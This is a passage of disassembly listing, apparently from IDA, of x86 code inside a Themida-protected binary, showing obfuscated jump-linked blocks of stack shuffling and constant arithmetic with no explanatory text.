		mov	edx, 2
		add	edi, edx
		mov	edx, [esp]
		jmp	loc_55E3BE
; ---------------------------------------------------------------------------


loc_55E7B0:				; CODE XREF: Themida_:00569421j
		mov	edi, 679D1CDFh
		mov	esi, edi
		pop	edi
		push	11CDh
		mov	[esp], esi
		jmp	loc_565FB8
; ---------------------------------------------------------------------------


loc_55E7C5:				; CODE XREF: Themida_:00561C9Bj
		add	esi, 4
		jmp	loc_562F51
; ---------------------------------------------------------------------------


loc_55E7D0:				; CODE XREF: Themida_:00565EB0j
		xchg	al, [esp]
		pop	edx
		jmp	loc_56472E
; ---------------------------------------------------------------------------


loc_55E7D9:				; CODE XREF: Themida_:0055F8DDj
		pop	ebx
		add	edi, 284502E7h
		add	ebx, edi
		jmp	loc_565F00
; ---------------------------------------------------------------------------


loc_55E7E7:				; CODE XREF: Themida_:00561BB1j
		add	esp, 4
		pop	ecx
		jmp	loc_566969
; ---------------------------------------------------------------------------


loc_55E7F3:				; CODE XREF: Themida_:0057142Cj
		add	esp, 4
		jmp	loc_5698AB
; ---------------------------------------------------------------------------
		push	ebp
		jmp	loc_5652D8
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_570F32
; ---------------------------------------------------------------------------


loc_55E81E:				; CODE XREF: Themida_:00571F1Ej
		mov	[esp], edi
		sub	dword ptr [esp], 73140975h
		jmp	loc_560375
; ---------------------------------------------------------------------------


loc_55E82D:				; CODE XREF: Themida_:00564E3Ej
		or	ebx, 0DA21705h
		push	ecx
		push	edi
		mov	edi, 2F950825h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ecx, 5
		add	ecx, 72C92739h
		shr	ecx, 7
		inc	ecx
		sub	ecx, 0E8C5B0B0h
		jmp	loc_560B02
; ---------------------------------------------------------------------------


loc_55E85A:				; CODE XREF: Themida_:00560243j
		neg	ebp
		dec	ebp
		shr	ebp, 6
		jmp	loc_56D13D
; ---------------------------------------------------------------------------


loc_55E865:				; CODE XREF: Themida_:00566504j
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56214F
; ---------------------------------------------------------------------------


loc_55E889:				; CODE XREF: Themida_:00565E03j
		sub	eax, 5BFC0DE2h
		add	eax, ebp
		jmp	loc_56F137
; ---------------------------------------------------------------------------


loc_55E895:				; CODE XREF: Themida_:0055DD4Dj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56C56F
; ---------------------------------------------------------------------------


loc_55E89E:				; CODE XREF: Themida_:0056BCD0j
		mov	edi, ebx
		pop	ebx
		jmp	loc_561B50
; ---------------------------------------------------------------------------
		xor	[esp], bl
		xor	bl, [esp]
		xor	[esp], bl
		push	ax
		jmp	loc_568F53
; ---------------------------------------------------------------------------


loc_55E8B6:				; CODE XREF: Themida_:00568120j
		push	edi
		mov	edi, 737A4263h
		add	ebx, edi
		jmp	loc_568280
; ---------------------------------------------------------------------------


loc_55E8C3:				; CODE XREF: Themida_:00566FD9j
		mov	dl, 38h
		xor	ch, dl
		pop	dx
		xor	al, ch
		mov	ecx, [esp]
		jmp	loc_56EA35
; ---------------------------------------------------------------------------


loc_55E8D3:				; CODE XREF: Themida_:0056D9FAj
		sub	dl, 0B8h
		sub	dl, ch
		add	dl, 0B8h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56C8EB
; ---------------------------------------------------------------------------


loc_55E8E6:				; CODE XREF: Themida_:0055ECECj
		pop	edx
		push	esi
		jmp	loc_55D3E1
; ---------------------------------------------------------------------------


loc_55E8ED:				; CODE XREF: Themida_:0056C23Ej
		add	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_565BD9
; ---------------------------------------------------------------------------


loc_55E909:				; CODE XREF: Themida_:00560E64j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5630A1
; ---------------------------------------------------------------------------


loc_55E916:				; CODE XREF: Themida_:0056B2B5j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_568171
; ---------------------------------------------------------------------------


loc_55E921:				; CODE XREF: Themida_:0055FA6Fj
		push	ebx
		mov	ebx, 627745B2h
		push	ecx
		mov	ecx, 7EAB3F43h
		not	ecx
		add	ecx, 4A805860h
		inc	ecx
		push	ebp
		mov	ebp, 0AEA9F973h
		sub	ecx, ebp
		jmp	loc_57131E
; ---------------------------------------------------------------------------


loc_55E943:				; CODE XREF: Themida_:00568A61j
		push	ecx
		mov	ecx, 78565D12h
		sub	ecx, 2E4212BAh
		not	ecx
		shl	ecx, 8
		push	4072h
		jmp	loc_568CA4
; ---------------------------------------------------------------------------


loc_55E95E:				; CODE XREF: Themida_:0056CE59j
		sub	al, bl
		push	edx
		push	ebx
		jmp	loc_566DFE
; ---------------------------------------------------------------------------


loc_55E967:				; CODE XREF: Themida_:005652A9j
		push	ebp
		push	1
		jmp	loc_56017F
; ---------------------------------------------------------------------------


loc_55E972:				; CODE XREF: Themida_:0057144Fj
		pop	edi
		jmp	loc_561C88
; ---------------------------------------------------------------------------


loc_55E978:				; CODE XREF: Themida_:0056613Aj
		sub	esp, 4
		mov	[esp], edx
		push	eax
		jmp	loc_56F698
; ---------------------------------------------------------------------------


loc_55E984:				; CODE XREF: Themida_:00562EBFj
		pop	edi
		push	dword ptr [esp]
		jmp	loc_566A86
; ---------------------------------------------------------------------------


loc_55E98D:				; CODE XREF: Themida_:0056B526j
		mov	esp, [esp]
		push	1FF4h
		mov	[esp], ebp
		mov	ebp, 491E1759h
		sub	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5E2042A7h
		inc	ebx
		add	ebx, 1189F504h
		jmp	loc_563490
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_563851
; ---------------------------------------------------------------------------


loc_55E9C9:				; CODE XREF: Themida_:00572164j
		mov	ebp, 20C70C84h
		xor	ebp, 2E44608Eh
		not	ebp
		jmp	loc_56F01F
; ---------------------------------------------------------------------------


loc_55E9DB:				; CODE XREF: Themida_:00563218j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		not	esi
		jmp	loc_56EDFD
; ---------------------------------------------------------------------------


loc_55E9F8:				; CODE XREF: Themida_:0056F559j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	al, bl
		sub	al, 66h
		push	18E8h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 7Eh
		push	eax
		mov	al, 5Ch
		add	al, 0CBh
		jmp	loc_56C579
; ---------------------------------------------------------------------------


loc_55EA2D:				; CODE XREF: Themida_:00570F2Dj
		add	ebp, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_56B816
; ---------------------------------------------------------------------------


loc_55EA3A:				; CODE XREF: Themida_:00562E2Aj
		push	esi
		mov	esi, ecx
		push	esi
		pop	ebp
		pop	esi
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56C773
; ---------------------------------------------------------------------------


loc_55EA4B:				; CODE XREF: Themida_:00570F18j
		shr	edx, 7
		dec	edx
		shl	edx, 6
		or	edx, 123B162Bh
		xor	edx, 3FFAE436h
		add	ebp, edx
		pop	edx
		sub	esi, ebp
		pop	ebp
		push	edx
		jmp	loc_55E257
; ---------------------------------------------------------------------------


loc_55EA6A:				; CODE XREF: Themida_:00567586j
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		jmp	loc_56C6FA
; ---------------------------------------------------------------------------


loc_55EA79:				; CODE XREF: Themida_:00560EA6j
		mov	esp, [esp]
		imul	ecx, eax
		jmp	loc_56BA74
; ---------------------------------------------------------------------------


loc_55EA84:				; CODE XREF: Themida_:0055ED85j
		push	114Ah
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, ebp
		jmp	loc_563305
; ---------------------------------------------------------------------------


loc_55EAA5:				; CODE XREF: Themida_:0055DE94j
		mov	ecx, 34B012DAh
		neg	ecx
		add	ecx, 0F032618h
		jmp	loc_560A28
; ---------------------------------------------------------------------------


loc_55EAB7:				; CODE XREF: Themida_:005671E4j
		mov	al, 61h
		shl	al, 2
		jmp	loc_562D9D
; ---------------------------------------------------------------------------


loc_55EAC1:				; CODE XREF: Themida_:0056173Aj
		sub	ecx, 2D2E2E99h
		sub	ecx, 64031E89h
		sub	ecx, 55123B0h
		add	ecx, edx
		add	ecx, 55123B0h
		jmp	loc_56DD0B
; ---------------------------------------------------------------------------


loc_55EAE0:				; CODE XREF: Themida_:0055D305j
		push	ecx
		mov	ecx, esp
		jmp	loc_570B33
; ---------------------------------------------------------------------------


loc_55EAE8:				; CODE XREF: Themida_:00571660j
		add	esp, 4
		push	edi
		mov	edi, 288F7E3Ch
		add	edi, 65320A0Fh
		not	edi
		jmp	loc_5621C3
; ---------------------------------------------------------------------------


loc_55EAFE:				; CODE XREF: Themida_:00569A8Aj
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_56AF8A
; ---------------------------------------------------------------------------


loc_55EB12:				; CODE XREF: Themida_:0055F3D8j
		mov	eax, 5AB7760Dh
		jmp	loc_56585E
; ---------------------------------------------------------------------------


loc_55EB1C:				; CODE XREF: Themida_:0055E209j
		sub	ebx, 19460E84h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56F6E3
; ---------------------------------------------------------------------------


loc_55EB2D:				; CODE XREF: Themida_:0056F857j
		pop	ebp
		sub	ebp, 267F5EA4h
		add	ebp, esi
		add	ebp, 267F5EA4h
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_57260E
; ---------------------------------------------------------------------------


loc_55EB4B:				; CODE XREF: Themida_:0055F46Aj
		mov	cl, 28h
		mov	dh, cl
		pop	ecx
		mov	ah, 0CDh
		jmp	loc_567BC7
; ---------------------------------------------------------------------------


loc_55EB57:				; CODE XREF: Themida_:0056FBE3j
		pop	ebx
		neg	ebx
		xor	ebx, 8484ADBCh
		jmp	loc_56617D
; ---------------------------------------------------------------------------


loc_55EB65:				; CODE XREF: Themida_:00565BB7j
		add	ebx, 6FE134F2h
		push	dword ptr [ebx]
		jmp	loc_568B40
; ---------------------------------------------------------------------------


loc_55EB72:				; CODE XREF: Themida_:005711CFj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shr	ebx, 2
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_570CAC
; ---------------------------------------------------------------------------


loc_55EB8D:				; CODE XREF: Themida_:00568CD6j
		add	eax, 4
		jmp	loc_56D4E8
; ---------------------------------------------------------------------------


loc_55EB97:				; CODE XREF: Themida_:0056FB14j
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55EBB0:				; CODE XREF: Themida_:005655DEj
		pop	small word ptr [esp]
		add	word ptr [esp],	2
		pop	small word ptr [esp]
		push	small 56B1h
		mov	[esp], si
		push	ecx
		mov	cx, 901h
		push	eax
		mov	ax, 0F701h
		mov	si, ax
		pop	eax
		add	si, 1335h
		sub	si, 7968h
		add	si, cx
		add	si, 7968h
		push	ebx
		mov	bx, 85Ah
		jmp	loc_565F20
; ---------------------------------------------------------------------------


loc_55EBEF:				; CODE XREF: Themida_:00568EA7j
		mov	edi, ebp
		pop	ebp
		add	eax, 55FF2D01h
		sub	eax, 42283EEFh
		add	eax, 2C1F3A90h
		jmp	loc_5723E7
; ---------------------------------------------------------------------------


loc_55EC06:				; CODE XREF: Themida_:0056C527j
		mov	ebx, 85645Dh
		mov	edi, 6B263988h
		jmp	loc_5695EC
; ---------------------------------------------------------------------------


loc_55EC15:				; CODE XREF: Themida_:0056D138j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55EC1A:				; CODE XREF: Themida_:00566924j
		sub	esi, 166119B9h
		add	esi, ecx
		jmp	loc_571504
; ---------------------------------------------------------------------------


loc_55EC27:				; CODE XREF: Themida_:0056C56Aj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_56DA9F
; ---------------------------------------------------------------------------


loc_55EC34:				; CODE XREF: Themida_:00563663j
		mov	esi, 6EB860ACh
		or	esi, 4E060BD3h
		jmp	loc_55EFBA
; ---------------------------------------------------------------------------


loc_55EC44:				; CODE XREF: Themida_:0055DADDj
		xor	edx, esi
		pop	esi
		sub	ebp, edx
		pop	edx
		push	edi
		mov	edi, 3D9D128Dh
		add	ebp, edi
		pop	edi
		add	ebp, eax
		sub	ebp, 3D9D128Dh
		add	ebp, 405842EBh
		jmp	loc_56748C
; ---------------------------------------------------------------------------


loc_55EC66:				; CODE XREF: Themida_:0056A88Dj
		push	eax
		push	ecx
		push	27C73AA6h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		dec	ecx
		push	eax
		mov	eax, 71F604A5h
		jmp	loc_56ABC5
; ---------------------------------------------------------------------------


loc_55EC88:				; CODE XREF: Themida_:005670E6j
		pop	ecx
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_565B23
; ---------------------------------------------------------------------------


loc_55EC99:				; CODE XREF: Themida_:0056D1E7j
		sub	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5702D2
; ---------------------------------------------------------------------------


loc_55ECAA:				; CODE XREF: Themida_:005695EEj
		pop	ebx
		shr	edi, 7
		and	edi, 39C76D80h
		push	edi
		jmp	loc_56CBED
; ---------------------------------------------------------------------------


loc_55ECBA:				; CODE XREF: Themida_:00560A89j
		mov	eax, 2CD20C94h
		add	edx, eax
		pop	eax
		add	edx, edi
		push	ebp
		mov	ebp, 2CD20C94h
		sub	edx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_566161
; ---------------------------------------------------------------------------


loc_55ECD8:				; CODE XREF: Themida_:0056DD73j
		not	edi
		add	edi, 5E6F6801h
		mov	ebx, edi
		jmp	loc_55D57A
; ---------------------------------------------------------------------------


loc_55ECE7:				; CODE XREF: Themida_:0056BB97j
		sub	eax, 222E254Ah
		jmp	loc_55E8E6
; ---------------------------------------------------------------------------


loc_55ECF1:				; CODE XREF: Themida_:005626D1j
		push	1E7C57F0h
		mov	edx, [esp]
		jmp	loc_5653EA
; ---------------------------------------------------------------------------


loc_55ECFE:				; CODE XREF: Themida_:00564A04j
		push	ebp
		jmp	loc_560DE5
; ---------------------------------------------------------------------------


loc_55ED04:				; CODE XREF: Themida_:0056D8DAj
		mov	eax, esp
		push	edx
		mov	edx, 23755CABh
		add	edx, 0DC8AA359h
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_571C7E
; ---------------------------------------------------------------------------


loc_55ED1F:				; CODE XREF: Themida_:00569B4Aj
		add	esp, 4
		push	esi
		push	1787h
		push	371Ch
		push	esp
		jmp	loc_56F3EC
; ---------------------------------------------------------------------------


loc_55ED33:				; CODE XREF: Themida_:00568530j
		push	2972h
		mov	[esp], edi
		mov	edi, 56270417h
		or	ecx, edi
		jmp	loc_55D99D
; ---------------------------------------------------------------------------


loc_55ED47:				; CODE XREF: Themida_:00572114j
		pop	ebx
		sub	edx, 4D243466h
		add	edx, 690D0B47h
		add	edx, ecx
		jmp	loc_55FF54
; ---------------------------------------------------------------------------


loc_55ED5B:				; CODE XREF: Themida_:00562C33j
		add	esi, eax
		sub	esi, 7403140Bh
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_56C7D1
; ---------------------------------------------------------------------------


loc_55ED6E:				; CODE XREF: Themida_:005674D7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_564702
; ---------------------------------------------------------------------------


loc_55ED7D:				; CODE XREF: Themida_:0056D83Ej
		pop	esp
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_55EA84
; ---------------------------------------------------------------------------


loc_55ED8A:				; CODE XREF: Themida_:0055F704j
		add	eax, ebx
		pop	ebx
		push	34C6h
		mov	[esp], ebp
		mov	ebp, 47722C24h
		push	ebx
		jmp	loc_56DE88
; ---------------------------------------------------------------------------


loc_55EDA0:				; CODE XREF: Themida_:00571E99j
		push	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_5698C6
; ---------------------------------------------------------------------------


loc_55EDB5:				; CODE XREF: Themida_:0056F8A1j
		mov	eax, 3B7D2636h
		jmp	loc_56081F
; ---------------------------------------------------------------------------


loc_55EDBF:				; CODE XREF: Themida_:0056C767j
		sub	bh, ch
		jmp	loc_564BBE
; ---------------------------------------------------------------------------


loc_55EDC6:				; CODE XREF: Themida_:0056C7FBj
		mov	ebx, 4
		jmp	loc_565CD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_55EDD0:				; CODE XREF: sub_59DB3D-31B8Aj
		add	eax, 2
		xchg	eax, [esp+2Ch+var_2C]
		pop	esp
		jmp	sub_571676
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_55EDDE:				; CODE XREF: Themida_:00568E55j
		push	edx
		mov	edx, 427B7BA4h
		sub	eax, edx
		pop	edx
		add	eax, edx
		add	eax, 427B7BA4h
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5696C4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57012A
; ---------------------------------------------------------------------------


loc_55EE16:				; CODE XREF: Themida_:00571A8Aj
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0B8h
		dec	bl
		jmp	loc_57004B
; ---------------------------------------------------------------------------


loc_55EE2C:				; CODE XREF: Themida_:0056A5CFj
		mov	ebp, 30133819h
		jmp	loc_56C129
; ---------------------------------------------------------------------------


loc_55EE36:				; CODE XREF: Themida_:0056AE27j
		sub	esi, 74D440B1h
		jmp	loc_55FD1F
; ---------------------------------------------------------------------------


loc_55EE41:				; CODE XREF: Themida_:00567520j
		sub	bh, dl
		pop	edx
		jmp	loc_566894
; ---------------------------------------------------------------------------


loc_55EE49:				; CODE XREF: Themida_:005655B5j
		add	esi, ebp
		push	ebx
		mov	ebx, 324D27ACh
		add	ebx, 0F9CE1A76h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56F9D9
; ---------------------------------------------------------------------------


loc_55EE64:				; CODE XREF: Themida_:0056E96Bj
		dec	eax
		sub	eax, 5135456Ah
		add	ecx, eax
		pop	eax
		jmp	loc_562377
; ---------------------------------------------------------------------------


loc_55EE72:				; CODE XREF: Themida_:005662DDj
		add	ecx, 30245DD1h
		pop	edx
		inc	ecx
		jmp	loc_55F233
; ---------------------------------------------------------------------------


loc_55EE7F:				; CODE XREF: Themida_:0056F693j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56F059
; ---------------------------------------------------------------------------


loc_55EE8A:				; CODE XREF: Themida_:0056E36Bj
		mov	esi, 121D7FD4h
		xor	ebx, esi
		pop	esi
		not	ebx
		xor	ebx, 59C60A82h
		xor	ebx, 0E607E07Dh
		add	esi, ebx
		pop	ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	4D8Eh
		mov	[esp], eax
		push	ecx
		push	ebp
		jmp	loc_56FD3C
; ---------------------------------------------------------------------------


loc_55EEC6:				; CODE XREF: Themida_:005650DBj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	eax, 1
		add	eax, 29DC53E4h
		jmp	loc_569357
; ---------------------------------------------------------------------------


loc_55EEE7:				; CODE XREF: Themida_:0056EA20j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5607CE
; ---------------------------------------------------------------------------


loc_55EEFE:				; CODE XREF: Themida_:00569402j
		push	esp
		pop	dword ptr [esp]
		push	edx
		push	4
		pop	edx
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56C13A
; ---------------------------------------------------------------------------


loc_55EF1E:				; CODE XREF: Themida_:0057050Bj
		pop	ebx
		add	ebx, 4
		push	eax
		push	ebp
		mov	ebp, 4DB7439Fh
		jmp	loc_564086
; ---------------------------------------------------------------------------


loc_55EF31:				; CODE XREF: Themida_:0055D32Fj
		mov	edx, 462D5F62h
		jmp	loc_563F99
; ---------------------------------------------------------------------------


loc_55EF3B:				; CODE XREF: Themida_:00568CCBj
		pop	ecx
		sub	ebp, 40964D6Bh
		add	ebp, esi
		add	ebp, 40964D6Bh
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	eax, 1E446A67h
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55EF5E:				; CODE XREF: Themida_:005703ACj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	eax, 7C36103Fh
		add	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561246
; ---------------------------------------------------------------------------


loc_55EF7D:				; CODE XREF: Themida_:00569D02j
		push	ebx
		mov	ebx, 58A30BB5h
		jmp	loc_56DB3F
; ---------------------------------------------------------------------------


loc_55EF88:				; CODE XREF: Themida_:00567554j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_560C63
; ---------------------------------------------------------------------------


loc_55EF93:				; CODE XREF: Themida_:0055DAE7j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56A99B
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_564FCA
; ---------------------------------------------------------------------------


loc_55EFA5:				; CODE XREF: Themida_:00570581j
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55DC98
; ---------------------------------------------------------------------------


loc_55EFB1:				; CODE XREF: Themida_:00567EEBj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56130A
; ---------------------------------------------------------------------------


loc_55EFBA:				; CODE XREF: Themida_:0055EC3Fj
		inc	esi
		dec	esi
		jmp	loc_55F40A
; ---------------------------------------------------------------------------


loc_55EFC1:				; CODE XREF: Themida_:005634ECj
		push	4A9h
		mov	[esp], ebx
		mov	bh, 9Fh
		shr	bh, 8
		inc	bh
		shr	bh, 3
		shl	bh, 3
		jmp	loc_56B2C3
; ---------------------------------------------------------------------------


loc_55EFDB:				; CODE XREF: Themida_:00568ED0j
		add	dword ptr [esp], 4FAC4578h
		pop	edi
		push	edx
		mov	edx, 270447EAh
		jmp	loc_56BC82
; ---------------------------------------------------------------------------


loc_55EFEE:				; CODE XREF: Themida_:0056A66Cj
		pop	ebx
		xor	ebp, 0B3B2985h
		not	ebp
		shr	ebp, 3
		push	6F5h
		mov	[esp], edi
		push	esi
		jmp	loc_567018
; ---------------------------------------------------------------------------


loc_55F008:				; CODE XREF: Themida_:00564178j
		mov	ebp, 29236692h
		add	esi, 15C30900h
		sub	esi, ebp
		sub	esi, 15C30900h
		pop	ebp
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_563B98
; ---------------------------------------------------------------------------


loc_55F02B:				; CODE XREF: Themida_:005659DCj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7642h
		jmp	loc_563716
; ---------------------------------------------------------------------------


loc_55F03F:				; CODE XREF: Themida_:005725FEj
		mov	edx, 2C2C11B6h
		and	edx, 1FB96B7Eh
		shl	edx, 2
		jmp	loc_56C355
; ---------------------------------------------------------------------------


loc_55F052:				; CODE XREF: Themida_:00568F83j
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56DCF4
; ---------------------------------------------------------------------------


loc_55F072:				; CODE XREF: Themida_:0056CA51j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56F9F1
; ---------------------------------------------------------------------------


loc_55F08C:				; CODE XREF: Themida_:0056D65Dj
		sub	eax, edx
		jmp	loc_55E0C7
; ---------------------------------------------------------------------------


loc_55F093:				; CODE XREF: Themida_:0056A1BFj
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_56EE45
; ---------------------------------------------------------------------------


loc_55F0AA:				; CODE XREF: Themida_:0056E825j
		mov	ebx, 20887491h
		sub	ebx, 0E1716289h
		neg	ebx
		jmp	loc_564793
; ---------------------------------------------------------------------------


loc_55F0BC:				; CODE XREF: Themida_:00561BFAj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		mov	ecx, [esp]
		add	esp, 4
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55F0E7:				; CODE XREF: Themida_:005600E4j
		add	ebp, 61926375h
		sub	ebp, 63871DDh
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56970B
; ---------------------------------------------------------------------------


loc_55F104:				; CODE XREF: Themida_:00565FE2j
		push	7A7Eh
		mov	[esp], edi
		jmp	loc_566C4D
; ---------------------------------------------------------------------------


loc_55F111:				; CODE XREF: Themida_:00564E03j
		pop	edi
		or	eax, edi
		pop	edi
		jmp	loc_56C1CC
; ---------------------------------------------------------------------------


loc_55F11A:				; CODE XREF: Themida_:00572609j
		neg	esi
		sub	esi, 170A71B7h
		add	esi, 1716929Ah
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55F141:				; CODE XREF: Themida_:00572703j
		add	esp, 4
		push	0
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	5FF9h
		mov	[esp], ebx
		jmp	loc_56BFA5
; ---------------------------------------------------------------------------


loc_55F166:				; CODE XREF: Themida_:005702F6j
		xchg	ecx, [esp]
		jmp	loc_565D23
; ---------------------------------------------------------------------------


loc_55F16E:				; CODE XREF: Themida_:0055F8F5j
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_5633EE
; ---------------------------------------------------------------------------


loc_55F178:				; CODE XREF: Themida_:00562CB0j
		dec	cl
		jmp	loc_56AA7E
; ---------------------------------------------------------------------------


loc_55F17F:				; CODE XREF: Themida_:0056EEF8j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55F188:				; CODE XREF: Themida_:0055D7CCj
		mov	bh, 31h
		add	ch, bh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	dl, ch
		push	ecx
		mov	ch, dl
		push	eax
		mov	al, ch
		mov	bl, al
		pop	eax
		mov	ecx, [esp]
		jmp	loc_55D372
; ---------------------------------------------------------------------------


loc_55F1BD:				; CODE XREF: Themida_:005707D4j
		pop	ebx
		add	ebp, 73C132EBh
		sub	ebp, edx
		sub	ebp, 73C132EBh
		pop	edx
		jmp	loc_5688A9
; ---------------------------------------------------------------------------


loc_55F1D2:				; CODE XREF: Themida_:0056F681j
		push	eax
		push	edi
		jmp	loc_568B28
; ---------------------------------------------------------------------------


loc_55F1D9:				; CODE XREF: Themida_:005614A2j
		pop	esi
		jmp	loc_55E3DE
; ---------------------------------------------------------------------------


loc_55F1DF:				; CODE XREF: Themida_:005726A7j
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		mov	dx, [esp]
		jmp	loc_5725F4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56A428
; ---------------------------------------------------------------------------


loc_55F1FD:				; CODE XREF: Themida_:0056EE96j
		add	ebp, 0FB2128A2h
		mov	edx, ebp
		jmp	loc_564A03
; ---------------------------------------------------------------------------


loc_55F20A:				; CODE XREF: Themida_:0056ECF2j
		push	edx
		jmp	loc_56B0BD
; ---------------------------------------------------------------------------


loc_55F210:				; CODE XREF: Themida_:00569052j
		sub	ebx, 14EF1070h
		add	ebx, ebp
		push	edi
		jmp	loc_569503
; ---------------------------------------------------------------------------


loc_55F21E:				; CODE XREF: Themida_:005629B4j
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	78A2h
		jmp	loc_5665F4
